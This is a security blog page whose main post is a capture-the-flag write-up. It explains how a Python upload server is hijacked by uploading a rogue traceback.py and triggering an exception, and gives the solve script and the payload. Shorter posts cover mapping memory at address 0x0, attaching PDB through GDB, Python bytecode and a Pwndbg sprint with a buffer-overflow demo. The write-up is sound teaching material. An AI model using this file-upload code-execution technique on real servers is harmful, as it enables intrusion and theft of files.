Disconnect3d's blog

Hijacking a Python upload server: writeup from Insomni'hack CTF 2025

Sun, 16 Mar 2025 14:00:00 +0100

This blog post is a write up of an “Upload Server” challenge where we had to hack a simple server written in Python and steal a secret file (flag) from it. The task is from the Insomni’hack CTF 2025 competition that I played with my team, justCatTheFish in Lausanne, Switzerland. We scored 4th place (or 5th overall, though academic teams had separate ranking). Below you can see how it looked like :).

Venue (photo from Insomni’hack twitter):

Final CTF competition scoreboard:

The “Upload Server” challenge

The organizers provided us the sources: a Dockerfile and a server.py file, so we could run and hack on the task locally . In addition to that each team could spawn their own instance of the task in order to steal the actual secret flag to obtain points in the competition.

If you want to replay the challenge, you can download its files here and you can build and run it locally with the following commands:

docker build -t serv .
docker run --rm -it -p 9000:9000 serv

The Dockerfile of the challenge was fairly trivial:

FROM python:3.10

RUN echo "INS{FAKE_FLAG!}" > /flag.txt

WORKDIR /app

COPY server.py /app/server.py

EXPOSE 9000

ENTRYPOINT ["python3", "/app/server.py"]

And the server.py was a bit longer, but still, only 90 lines of code:

import http.server
import socketserver
import os
import base64
import cgi
from pathlib import Path

USERNAME = os.getenv("USERNAME", "admin")
PASSWORD = os.getenv("PASSWORD", "password")

PORT = 9000
UPLOAD_DIR = "."

os.makedirs(UPLOAD_DIR, exist_ok=True)

class SecureHandler(http.server.SimpleHTTPRequestHandler):
    def authenticate(self):
        auth_header = self.headers.get("Authorization")
        if not auth_header or not auth_header.startswith("Basic "):
            return False

        encoded_credentials = auth_header.split(" ")[1]
        decoded_credentials = base64.b64decode(encoded_credentials).decode("utf-8")
        input_username, input_password = decoded_credentials.split(":", 1)

        return input_username == USERNAME and input_password == PASSWORD

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header("WWW-Authenticate", 'Basic realm="Secure Upload Server"')
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(b"Unauthorized Access\n")

    def do_GET(self):
        if not self.authenticate():
            self.do_AUTHHEAD()
            return

        requested_path = self.translate_path(self.path)
        if os.path.isfile(requested_path):
            return http.server.SimpleHTTPRequestHandler.do_GET(self)

        return self.list_directory(requested_path)

    def list_directory(self, path):
        self.send_response(403)
        self.end_headers()
        self.wfile.write(b"Directory listing is disabled.")
        return None

    def do_POST(self):
        if not self.authenticate():
            self.do_AUTHHEAD()
            return

        content_type, pdict = cgi.parse_header(self.headers.get('Content-Type'))
        if content_type == 'multipart/form-data':
            pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
            fields = cgi.parse_multipart(self.rfile, pdict)

            for field in fields:
                filename = os.path.basename(field)
                safe_path = Path(UPLOAD_DIR) / filename
                safe_path = safe_path.resolve()

                if not str(safe_path).startswith(str(Path(UPLOAD_DIR).resolve())):
                    self.send_response(400)
                    self.end_headers()
                    self.wfile.write(b"Invalid file path")
                    return

                with open(safe_path, "wb") as f:
                    f.write(fields[field][0])

            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"File uploaded successfully\n")
        else:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"Invalid upload request\n")

class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    daemon_threads = True
    allow_reuse_address = True

with ThreadingTCPServer(("", PORT), SecureHandler) as httpd:
    print(f"Server running on port {PORT} with Basic Auth ({USERNAME}/{PASSWORD})")
    httpd.serve_forever()

Analysing the code

The code creates a threading TCP server on port 9000 which implements a do_GET and do_POST handlers for the respective HTTP request methods. Those functions allow us to get and create files if we authenticated properly whereas the authentication is just a (not so great) Basic HTTP authentication, where you encode username and password delimited by the “:” character and encode it with the base64 encoding.

USERNAME = os.getenv("USERNAME", "admin")
PASSWORD = os.getenv("PASSWORD", "password")

class SecureHandler(http.server.SimpleHTTPRequestHandler):
    def authenticate(self):
        auth_header = self.headers.get("Authorization")
        if not auth_header or not auth_header.startswith("Basic "):
            return False
    
        encoded_credentials = auth_header.split(" ")[1]
        decoded_credentials = base64.b64decode(encoded_credentials).decode("utf-8")
        input_username, input_password = decoded_credentials.split(":", 1)

        return input_username == USERNAME and input_password == PASSWORD

Actually, the server compares the decoded username and password insecurely, using a non-constant time comparison, which may allow us to leak the expected username and password (if they were changed through environment variables) using a “timing attack” technique where we would compare the difference in time it takes to compare different usernames and passwords ("aa"=="ab" takes longer than "bb"=="ab"). In practice, such an attack would likely be infeasible as the comparison timing differences are too small to measure over the network.

To add to that, the organizers actually gave us the username and password values for the instance that we spawned. So in the end, we did not have to break the authentication at all.

Then, in the do_GET handler, the server translates the provided path and if it is a file, it returns a http.server.SimpleHTTPRequestHandler.do_GET(self). This base class method eventually returns the requested file after translating its path (for the second time!) which we can see below. If the path is not a file, a list_directory is called, which really just returns a HTTP response with a 403 status code that “Directory listing is not enabled”.

class SecureHandler(http.server.SimpleHTTPRequestHandler):
    # ...
    def do_GET(self):
        # ...
        requested_path = self.translate_path(self.path)
        if os.path.isfile(requested_path):
            return http.server.SimpleHTTPRequestHandler.do_GET(self)

        return self.list_directory(requested_path)

    def list_directory(self, path):
        self.send_response(403)
        self.end_headers()
        self.wfile.write(b"Directory listing is disabled.")
        return None


class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    # ...
    def do_GET(self):
        """Serve a GET request."""
        f = self.send_head()
        if f:
            try:
                self.copyfile(f, self.wfile)  # wfile is the socket
            finally:
                f.close()

    def send_head(self):
        path = self.translate_path(self.path)
        # ...
        if os.path.isdir(path):
            parts = urllib.parse.urlsplit(self.path)
            # ...
        f = open(path, 'rb')
        # ...
        return f

In the do_POST, the server processes the uploaded file path and content through a multipart form data and eventually saves it to a safe path:

class SecureHandler(http.server.SimpleHTTPRequestHandler):
    # ...
    def do_POST(self):
        # ...
        content_type, pdict = cgi.parse_header(self.headers.get('Content-Type'))
        if content_type == 'multipart/form-data':
            pdict['boundary'] = bytes(pdict['boundary'], "utf-8")

            fields = cgi.parse_multipart(self.rfile, pdict)

            for field in fields:
                filename = os.path.basename(field)
                safe_path = Path(UPLOAD_DIR) / filename
                safe_path = safe_path.resolve()

                if not str(safe_path).startswith(str(Path(UPLOAD_DIR).resolve())):
                    # ... - return 400: Invalid file path
                    return

                with open(safe_path, "wb") as f:
                    f.write(fields[field][0])

Interacting with the server

Just for completeness, we can interact with the server in the following three ways:

We can download files via: curl -u 'admin:password' --path-as-is -v http://localhost:9000/path-here. Note that we pass the --path-as-is so that the curl tool do not resolve paths like ../../flag.txt into /flag.txt.
We can send files via: curl -v -F "filename=@file" -X POST -u admin:password http://localhost:9000/ where this will sent the content from the file file from current directory.
We can actually crash the server via: curl -v -F "lol=plik" -X POST -u admin:password http://localhost:9000/.

With the last one, the server crashes in some of its processing and reports the following traceback:

Exception occurred during processing of request from ('172.17.0.1', 47464)
Traceback (most recent call last):
  File "/usr/local/lib/python3.10/socketserver.py", line 683, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/local/lib/python3.10/socketserver.py", line 360, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/local/lib/python3.10/http/server.py", line 668, in __init__
    super().__init__(*args, **kwargs)
  File "/usr/local/lib/python3.10/socketserver.py", line 747, in __init__
    self.handle()
  File "/usr/local/lib/python3.10/http/server.py", line 433, in handle
    self.handle_one_request()
  File "/usr/local/lib/python3.10/http/server.py", line 421, in handle_one_request
    method()
  File "/app/server.py", line 74, in do_POST
    f.write(fields[field][0])
TypeError: a bytes-like object is required, not 'str'

This happens because there is a small difference between sending a file in a form in curl with the -F "filename=content" flag vs -F "filename=@file". The former will send it as:

Content-Type: multipart/form-data; boundary=------------------------zwbJi1vcxCL0w1ITX7Pv4W

--------------------------zwbJi1vcxCL0w1ITX7Pv4W
Content-Disposition: form-data; name="filename"

content
--------------------------zwbJi1vcxCL0w1ITX7Pv4W--

While the latter will send:

Content-Type: multipart/form-data; boundary=------------------------SqWUMBvrFIVx6KRl7yb1o1

--------------------------SqWUMBvrFIVx6KRl7yb1o1
Content-Disposition: form-data; name="filename"; filename="p"
Content-Type: application/octet-stream

a

--------------------------SqWUMBvrFIVx6KRl7yb1o1--

The latter sets the Content-Type: application/octet-stream which makes the upload server code see a bytestring (bytes type) instead of a string (str) type. Without the content type, the server crashes.

Solution ideas

When trying to solve this, we came up with a couple of ideas:

Path traversal. Our obvious first idea was that maybe there is a path we can provide to the do_GET functionality to obtain the /flag.txt file? Maybe something like ../../../../flag.txt (or urlencoded: %2e%2e%2f%2e%2e%2fflag.txt)? Not really. This did not work here.
Race condition. This was a threading server and the SecureHandler.do_GET reads the self.path multiple times. I thought that maybe the SecureHandler object is shared between two threads that process two consecutively sent requests, but in practice its not. The socketserver.ThreadingMixIn correctly creates a separate instances of SecureHandler for each consecutive request. We actually tested this by modifying the app and printing out the ID of the SecureHandler object when the do_GET was executed (print(id(self))).
We can create arbitrary files. Is there a file we can write that would eventually be executed by the server?

Are there any files that are executed by the server?

It turns out that we can even overwrite the server.py file. However, this gives us nothing, because the script is never reloaded/read again by the upload server (neither by its threads etc).

So are there any other ways? Well, since it is a Python code, for it to execute some code, it would have to for example invoke an import statement for a module that hasn’t been loaded yet.

And… it turns out that there is such a case. We actually discovered it by reading the code and finding the import statement, but this can also be found with strace, the system call trace tool to see which files are attempted to be opened by the server when it runs.

This can be seen below, where we show the output of strace on the server when we execute different actions. We run the strace as: sudo strace -f -e openat -p $(pgrep -f 'python3 /app/server.py').

Strace outputs:

When we get a file that exists (curl -vvv -u admin:password localhost:9000/server.py):

strace: Process 165954 attached
[pid 165954] openat(AT_FDCWD, "/etc/mime.types", O_RDONLY|O_CLOEXEC) = 5
[pid 165954] openat(AT_FDCWD, "/app/server.py", O_RDONLY|O_CLOEXEC) = 5
[pid 165954] +++ exited with 0 +++

When we send a valid file (curl -v -F "a=@plik" -X POST -u admin:password localhost:9000/server.py):

strace: Process 165990 attached
[pid 165990] openat(AT_FDCWD, "/tmp/f08q3cme", O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW|O_CLOEXEC, 0600) = 5
[pid 165990] openat(AT_FDCWD, "/tmp", O_RDWR|O_EXCL|O_NOFOLLOW|O_CLOEXEC|O_TMPFILE, 0600) = -1 EOPNOTSUPP (Operation not supported)
[pid 165990] openat(AT_FDCWD, "/tmp/tmpjl1qriex", O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW|O_CLOEXEC, 0600) = 5
[pid 165990] openat(AT_FDCWD, "/app/a", O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 5
[pid 165990] +++ exited with 0 +++

And when we send a file that causes the server to raise an exception (curl -v -F "a=content" -X POST -u admin:password localhost:9000/server.py):

[pid 165990] +++ exited with 0 +++
strace: Process 166018 attached
[pid 166018] openat(AT_FDCWD, "/app/a", O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 5
[pid 166018] openat(AT_FDCWD, "/app", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/traceback.cpython-310.pyc", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/traceback.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/traceback.cpython-310.pyc.127715404047712", O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/linecache.cpython-310.pyc", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/linecache.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/linecache.cpython-310.pyc.127715404047488", O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/tokenize.cpython-310.pyc", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/tokenize.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/tokenize.cpython-310.pyc.127715404047936", O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/token.cpython-310.pyc", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/token.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/__pycache__/token.cpython-310.pyc.127715404050848", O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/socketserver.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, "/usr/local/lib/python3.10/http/server.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, "/app/server.py", O_RDONLY|O_CLOEXEC) = 5
[pid 166018] +++ exited with 0 +++

What we can see here is that the server loads a traceback.py module and first checks for it python compiled file (.pyc).

Now… what would happen if traceback.py existed in /app/?

The solution

It turns out that by uploading in the traceback.py file and triggering the exception for the first time, the server imports the traceback module from the /app/ directory and trigger our code!

Note: Of course if the exception would be triggered before that, the module would already be loaded and its import would not reload it. But we can create our own instance of the challenge and thus exploit this fact.

So to solve the challenge, we can use the following script:

#!/bin/sh

# Server setup
ADM=admin
PASS=password
URL="127.0.0.1:9000/"

curl -v -F "traceback.py=@traceback.py" -X POST -u $ADM:$PASS http://$URL
curl -v -F "lol=plik" -X POST -u $ADM:$PASS http://$URL
curl -v -u $ADM:$PASS http://$URL/myflag

With a traceback.py file with our payload. In my case it was the original traceback.py copied out from the container (with the docker cp ... command) plus the following:

import os
os.system("cp /flag.txt /app/myflag")

As a result, executing the shell script from above we uploaded traceback.py, got it executed, which copied the flag to /app/myflag and then we just read it with the do_GET method since it read files from /app.

Below you can see a screenshot from my terminals when I solved the challenge :).

When NULL isn't null: mapping memory at 0x0 on Linux

Mon, 03 Mar 2025 19:00:00 +0100

When we think of a null pointer, NULL in C or nullptr in C++, we typically assume it is “invalid” or “not pointing to a valid memory location”. But what if I tell you that a null pointer can actually point to valid memory under certain conditions? In this post, we will see this on Linux.

An interview question

Note: For the sake of discussion, let’s assume that null pointer is represented as zero (or an address with a value of zero).

When conducting technical interviews, I have been assessing candidates’ depth of knowledge through a particular question:

What happens when the following C or C++ code executes: *(int*)(rand_int()) = 0x41424344;

Assume that rand_int returns any valid integer.

I don’t specify a CPU architecture, operating system, privilege level (user vs kernel space) or compiler version but if asked, I clarify that we are considering x86-64, user-space Linux, and either GCC or Clang.

From the point of C or C++ standards, this code results in an undefined behavior. However, I ask this question since I am interested in whether the candidate understands what actually happens at runtime.

Possible outcomes

When executed, the code attempts to write a 4-byte value of 0x41424344 to a random memory address. Its outcome depends on two conditions:

If the address is within the process’ mapped virtual address space and has write permissions, the write operation will succeed.
If the address is unmapped or lacks write permissions, the process will “crash”.

Or at least this is what some candidates say. In practice, this is more nuanced. The invalid memory access is intercepted by the CPU, which triggers an exception. The Linux kernel then handles this by sending a SIGSEGV (Segmentation Fault) signal to the process. At this point if the process has a registered signal handler for SIGSEGV, that handler is executed. Otherwise, the process is terminated.

EDIT: Actually, there is yet another case. If the address happens to be before the main thread stack, the kernel will expand the stack and then the first case apply. (Thanks to MrQubo from justCatTheFish for pointing this out!) This can be seen on the screenshot from the Pwndbg plugin for GDB below. We first show the stack memory mapping, then patch the next instruction executed by the program to write value to memory at address defined by register RAX, then we set RAX register to address before main thread stack and we execute a single instruction. Finally, we can see that the stack got expanded.

Fun fact: the JVM (Java Virtual Machine) uses this exact mechanism to detect invalid memory accesses and to throw its NullPointerException errors.

What if rand_int returns 0?

A natural follow-up question I ask: What happens if rand_int returns 0? Can address 0x0 be mapped?

Suprisingly, the answer is yes, under certain conditions.

On Linux, memory allocations are handled by the mmap system call which is internally used by the malloc or new C or C++ functions. With mmap it is possible to explicitly request the memory to be allocated at address 0x0, but whether the system grants this request depends on it configuration.

This configuration is the vm.mmap_min_addr sysctl parameter which determines the minimum possible address at which mmap can allocate memory. It can be read either with the sysctl command or by reading a corresponding file in the procfs filesystem, as follows:

$ sysctl vm.mmap_min_addr
vm.mmap_min_addr = 65536

$ cat /proc/sys/vm/mmap_min_addr
65536

Of course we can modify this setting if we were a root user (with the sudo sysctl -w vm.mmap_min_addr=0 command).

Why using the value of 65536?

I got asked by some folks from Hackerspace Cracow why isn’t the value just 1? This is because we don’t only care about strict null pointer dereferences. For example, if we have code like this in C that calls a function pointer that is pointed by the func field of some structure - ptr->func() and ptr is 0 - then the code will actually dereference memory at address 0 + offsetof(SomeStruct, func) and take the address to jump to from there. And this offset may be even bigger than e.g. 1024 since there are some big structures in the kernel code.

In other words, we don’t want to protect just the address zero. We want to protect all potential small addresses that a kernel code bug could hit.

But why is there such config?

I believe the reason for introducing this sysctl parameter was mitigating security vulnerabilities such as null pointer dereferences in Linux kernel code which could be exploited by unprivileged user space programs to escalate privileges and become root. In other words, an attacker could allocate memory on address 0x0 in a user-space program and then trigger a Linux kernel null pointer dereference to access this memory from the kernel. Then they used this to hijack the control flow of the kernel and become root.

Nowadays, this is rather a relic of the past due to SMAP and SMEP mitigations on x86-64 and PAN on Arm64 architectures (though, PAN was or is broken?) as those mitigations prevent the kernel from accessing (SMAP) or excecuting (SMEP) user-space addresses (such as 0x0 address).

It is also worth to mention that all standard Linux distributions set vm.mmap_min_addr to 0x10000 (previously 0x1000) or some other value, but also, processes run as root bypass the vm.mmap_min_addr configuration (and can allocate at address 0x0). This also means that the null pointer dereferences can be exploited in suid binaries, however, one would need to find a way to allocate at address 0x0 first…

Fun fact: Actually, there is a reason to set vm.mmap_min_addr = 0 which is to… use the vm86 system call which allows one to emulate virtual-8086 CPU mode. This requirement can be seen in the Linux kernel v6.13.5 code: source/arch/x86/kernel/vm86_32.c#L208-L232

Example of allocating memory at 0x0

For completeness, here is a minimal example program that will allocate memory on address 0x0 which would be valid:

#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    size_t size = getpagesize();  // Allocate one page

    // Allocate 1 page of memory (usually: 0x1000 bytes) at address 0x0
    void *mapped = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (mapped == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }

    printf("Memory successfully mapped at %p (size: %lx)\n", mapped, size);

    *(int*)mapped = 0x41424344;
    printf("Value written to and read from address %p: 0x%x\n", mapped, *(int*)mapped);

    // Clean up
    munmap(mapped, size);
    return 0;
}

It can be tested by setting the vm.mmap_min_addr=0:

$ sudo sysctl vm.mmap_min_addr=0
vm.mmap_min_addr = 0

$ ./a.out
Memory successfully mapped at (nil) (size: 1000)
Value written to and read from address (nil): 0x41424344

Final thoughts

While null pointers are generally assumed to be invalid, their actual behavior depends on the system’s memory management rules. The vm.mmap_min_addr sysctl parameter is one such rule that allows us to prevent mapping memory at 0x0. However, if modified, a null pointer could indeed point to a valid, accessible memory location.

So next time someone says a null pointer is always invalid – well, you know better!

Like this post?

If you like this post, please share my posts on X/Twitter, InfoSec.exchange or LinkedIn posts! Also, if Linux or C/C++ security mitigations are of your interest, you may also want to read other content I wrote:

On _FORTIFY_SOURCE typos bugs
On cstrnfinder tool I wrote to find stupid C bugs
On a KASLR bypass in privilege-less containers I reported to Linux kernel back then
On Understanding AddressSanitizer: Better memory safety for your code
On Sanitizing your C++ containers: ASan annotations step-by-step
On Understanding Docker escapes (though that’s about Linux kernel features that build containers rather than C or C++ code)

EDIT 2025.03.04: Added two things to the blog post - information about stack expansion and the “Why using the value of 65536?” paragraph. Thanks to MrQubo for info on the first one and folks from Hackerspace Kraków for some interesting questions.

Debugging running Python scripts with PDB via GDB

Sun, 04 Aug 2024 19:13:37 +0200

A friend of mine had an interesting case recently where they wanted to debug an already running Python script on Linux and after some testing it turned out this is possible, so let’s see how it can be done in CPython :).

Few notes on CPython

CPython, the reference implementation of the Python programming language, is written in the C programming language. Under the hood, it is a virtual machine that interprets (executes) so called “Python bytecode” which is the instruction set of the virtual machine. For curious readers, some of the CPython 3.11 instruction handling code can be found in the ceval.c file in CPython’s GitHub repository.

Since python is just a native program, we can debug it with a native debugger like GDB. Now, this is completely different than debugging the Python code itself (e.g., via pdb, the Python debugger) but… as we will see, we can achieve it through GDB.

Debugging already running Python script

Let’s assume we have the following Python script that we will run with Python 3.11.6 on Ubuntu 23.10:

import time

# Let's assume SECRET is sth we would like to find out
# with a debugger
from secret import SECRET

def mysleep(i):
    print(f"Going to sleep... = {i}")
    time.sleep(1)

i = 0
while True:
    i += 1
    mysleep(i)

Now, if we run this script, we can attach to the Python interpreter process via the GDB (The GNU Project debugger) debugger by using its attach <pid> command:

The GDB also asked me if I want additional debug information for the python program, which I accepted (Enable debuginfod for this session? (y or [n]) y). This made GDB download debugging symbols so that we can see much more information during debugging. We can see this in the output of the backtrace command which shows the call stack of the process. If we didn’t have debug symbols, we would only see a few names instead of the whole trace.

Now, in order to debug the Python code with pdb, I found out that we can set a breakpoint on a PyEval_SaveThread function, continue the execution until it is called and then call a PyRun_SimpleString function to call arbitrary Python code in the context of the currently executed frame. For what is worth, those “frames” are objects that represent the execution state of Python code. I believe that each function call would create a new frame object.

Let’s see this in action:

As we can see, we eventually executed PDB in the console where the script was running, achieving our goal!

Conclusion

While this has worked here in my and my friend’s case, I must admit that I would not recommend running this on production. I have only tested this method on Python 3.11.6 and generally speaking, I am not sure if this doesn’t corrupt the internal CPython state somehow – and if it does – this could end up crashing our script.

Another issue is that if the Python script is running without a terminal, we would probably need to hijack its stdin and stdout objects so that we could actually provide input for it and receive the output.

Written all this, I still find this trick interesting and I bet we could create some solution that would work properly and would be more convenient. But that’s maybe for another time :).

I would also like to thanks Ian Smith from Trail of Bits for an interesting problem to solve and ptrtofuture from justCatTheFish team for showing me a similar technique in the past :)

Python specialized bytecode and pycjail returns challenge solution

Thu, 20 Jun 2024 14:13:37 +0200

I gave a talk on “Python specialized bytecode” on Pykonik #70 where I also made a walkthrough over the “pycjail returns” challenge from ångstrom CTF 2024. The video can be found here and its slides here.

In this blog post, I am going to do a TL;DR of the idea of specialized bytecode in Python. For details on “Python jails” or “pycjail returns” challenge solution, check out the talk linked above :).

Python specialized bytecode

Apart from going over a capture the flag cybersecurity competition challenge, the main point of the talk is that there is an ongoing effort to make CPython faster and a huge part of it is detailed in PEP-659. Some of it is already implemented in Python 3.11 and 3.12. The gist of it is that they added “specialized bytecode” and some tracing for how functions are used. Now, when a function is “hot”, aka: it is used lots of times, its bytecode will be optimized with “specialized bytecode” instructions.

This can be seen below:

In [1]: import dis  # import module for disassembling Python bytecode

In [2]: def add(x, y):
   ...:     return x + y
   ...:

In [3]: dis.dis(add, adaptive=True, show_caches=True)
  1           0 RESUME                   0

  2           2 LOAD_FAST__LOAD_FAST     0 (x)
              4 LOAD_FAST                1 (y)
              6 BINARY_OP                0 (+)
              8 CACHE                    0 (counter: 17)
             10 RETURN_VALUE

When we first disassemble this function, one of its opcode was already optimized from LOAD_FAST to LOAD_FAST__LOAD_FAST. This is a “superoperator” or “superopcode” which works faster than executing two LOAD_FAST operations. The other LOAD_FAST instruction needs to be kept there since LOAD_FAST__LOAD_FAST figures out the second load argument from it (the name of variable to fetch, which is y; this can be seen here in the CPython code).

Now, lets see what will happen when we execute the add function with int arguments lots of times:

In [4]: for i in range(1000): add(i, i)

In [5]: dis.dis(add, adaptive=True, show_caches=True)
  1           0 RESUME                   0

  2           2 LOAD_FAST__LOAD_FAST     0 (x)
              4 LOAD_FAST                1 (y)
              6 BINARY_OP_ADD_INT        0 (+)
              8 CACHE                    0 (counter: 832)
             10 RETURN_VALUE

The BINARY_OP instruction was replaced with BINARY_OP_ADD_INT which adds two integers faster. Of course the instruction still checks for argument types and if they aren’t integers, a deoptimized opcode is executed (which dispatches the execution based on argument types). This can actually be seen in CPython’s C implementation for this opcode:

        TARGET(BINARY_OP_ADD_INT) {
            PyObject *right = stack_pointer[-1];
            PyObject *left = stack_pointer[-2];
            PyObject *sum;
            #line 385 "Python/bytecodes.c"
            // HERE we deoptimize the opcode if both args 
            // are not integers (CPython's PyLong type)
            DEOPT_IF(!PyLong_CheckExact(left), BINARY_OP);
            DEOPT_IF(Py_TYPE(right) != Py_TYPE(left), BINARY_OP);
            // (...)

Now, what will happen if we now execute the same function with string arguments many times?

In [6]: for i in range(1000): add("Hello", " world")

In [7]: dis.dis(add, adaptive=True, show_caches=True)
  1           0 RESUME                   0

  2           2 LOAD_FAST__LOAD_FAST     0 (x)
              4 LOAD_FAST                1 (y)
              6 BINARY_OP_ADD_UNICODE     0 (+)
              8 CACHE                    0 (counter: 832)
             10 RETURN_VALUE

As we can see, the function got optimized for a case when both arguments are unicode strings and so BINARY_OP_ADD_UNICODE is used.

Want to learn more?

If you want to learn more about all of this, I recommend you going through the talk as well as reading the Python 3.11 release’s “What’s new” section which also describes all the speed ups achieved with this approach.

Understanding AddressSanitizer blog post

Thu, 16 May 2024 19:00:00 +0200

Some time ago during an audit I found an out-of-bounds bug that was not detected by AddressSanitizer. This spawned a whole research at Trail of Bits which I talked and wrote about in details!

I wondered why this happened and we decided at Trail of Bits to extended the AddressSanitizer bug detection capabilities in LLVM (libc++) for the std::string and std::deque collections by annotating them (so ASan is aware of their size vs capacity bounds). We also added support for all allocators for all the containers that have container overflow detections (vector, string, deque). Apart from that, we also improved some other internals of ASan.

When we did this research, we initially made a talk about this on the WarCon conference in 2022. Now, when we got our improvements merged into LLVM, we wrote a full blog post about all of the improvements made, ASan internals, its limitations and quirks.

You can read about all of this in the “Understanding AddressSanitizer: Better memory safety for your code” blog post I released at Trail of Bits blog with Dominik Klemba.

Pwndbg coding sprints report

Sun, 21 Aug 2022 22:13:37 +0200

This blog post is a report of the two coding sprints for the Pwndbg project that I organized first on the EuroPython 2022 conference and then, taking inspiration from the previous one, in the Hackerspace Kraków, located in Cracow, Poland.

PS: If you are only looking for a list of things done, scroll down!

Where I got the idea for sprints?

I have recently attended the EuroPython 2022 conference and I enjoyed the “sprints” there. In short, a sprint is a semi-organized event, where anyone can announce a project they will be working on and others can join them. This helps both the projects and the event participants to learn about the project and to make first-time contributions. At the EuroPython conference, there were 16 officially announced projects, but I know that even more projects were being worked on in practice. Of course, other communities or conferences also do this (e.g. NixCon).

At the EuroPython conference, I announced my own sprint to work on the Pwndbg project that I maintain. Having no expectations, I felt excited when four people showed up to learn something new and hack together on the project. Later, taking inspiration from it, I organized another sprint, this time in Cracow in the local Hackerspace with even a bigger response. Below, you can read a small report on the two sprints that have happened.

My general idea for a Pwndbg sprint

Pwndbg is written in Python, so on one hand is easy to hack on, but on the other hand it is a plugin for GDB, a console debugger for native programs (e.g. ones written in C, C++, Go or Rust). The general idea of Pwndbg is to alleviate the pain points of working with and improve the UX of GDB when debugging assembly code, reverse engineering a binary or during exploit development.

Since not everyone is familiar with debuggers or the underlyings of programs execution (e.g. assembly code, CPU registers or stack or heap memory) I knew that I had to make some introduction to those concepts and if possible, prepare a list of simple tasks, so that people can get familiar with the codebase and the tool and contribute something.

EuroPython 2022 sprint

On the first sprint, four people showed up, mostly having no prior experience with the topic. We started with an introduction to what GDB and Pwndbg are and why and when they are useful.

For this, I took a small C program that had a buffer overflow bug:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    char name[16] = {0};

    // NOTE: We copy the `argv[1]` string which may be of arbitrary length
    // into the `name` buffer which is only of 16-bytes long. Thus, we can
    // overwrite the stack memory of the program past the `name` buffer.
    strcpy(name, argv[1]);

    printf("Hello %s!\n", name);
}

Then, after compiling it (gcc main.c), we ran the program twice to see that it will crash if we provide a too long string as its argument:

$ ./a.out Disconnect3d
Hello Disconnect3d!

$ ./a.out Disconnect3d_at_EuroPython
Hello Disconnect3d_at_EuroPython!
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

Then, I explained that the “stack smashing detected” we see is the “stack canaries” (also called “stack cookies”) exploit mitigation added by compilers. This compiler feature adds a special 8-bytes canary value after the function’s local variables located on the stack, so that then a stack frame may look like this:

------------------------------   lower addresses
char name[16];                         |
uint8_t canary[8];                     |
void* function_return_address;         V
------------------------------   higher addresses

This local stack canary value is then filled in just after the function’s prologue and is verified against a global value before the function returns to see if the stack was not corrupted (starting from the canary). Of course this may not detect all possible stack memory corruptions but it often makes it impossible to exploit a program (e.g. by changing the return address, also located on the stack), knowing just this vulnerability.

The stack canary mitigation can also be disabled. And if it were done (by passing in a -fno-stack-protector flag during compilation), we would get a different result when running the resulting program:

$ gcc -fno-stack-protector buf.c

$ ./a.out Disconnect3d_on_EuroPython
Hello Disconnect3d_on_EuroPython!
Segmentation fault (core dumped)

Now, the “stack smashing detected” is gone, but the program still crashed, because we still corrupted a part of its memory that we shouldn’t have touched in a way that made the program do illegal things (e.g. accessing unmapped memory).

During the sprint, we also ran a GDB+Pwndbg session to see the exact instructions that placed the canary value on the stack memory, to see that our input string was located just before it and how the canary was checked just before the function was returned.

I am not going to describe all of this here, but you can see some of it in the below asciinema recording.

Hackerspace Kraków sprint

Since the second sprint was an ad-hoc event, I had to organize it myself. As a member of Hackerspace Kraków, I was able to reserve the hackerspace’s softroom, which is a perfect place for people to hack on things using their computers. Then, I advertised the event on the Hackerspace’s mailing list and on a few other mediums.

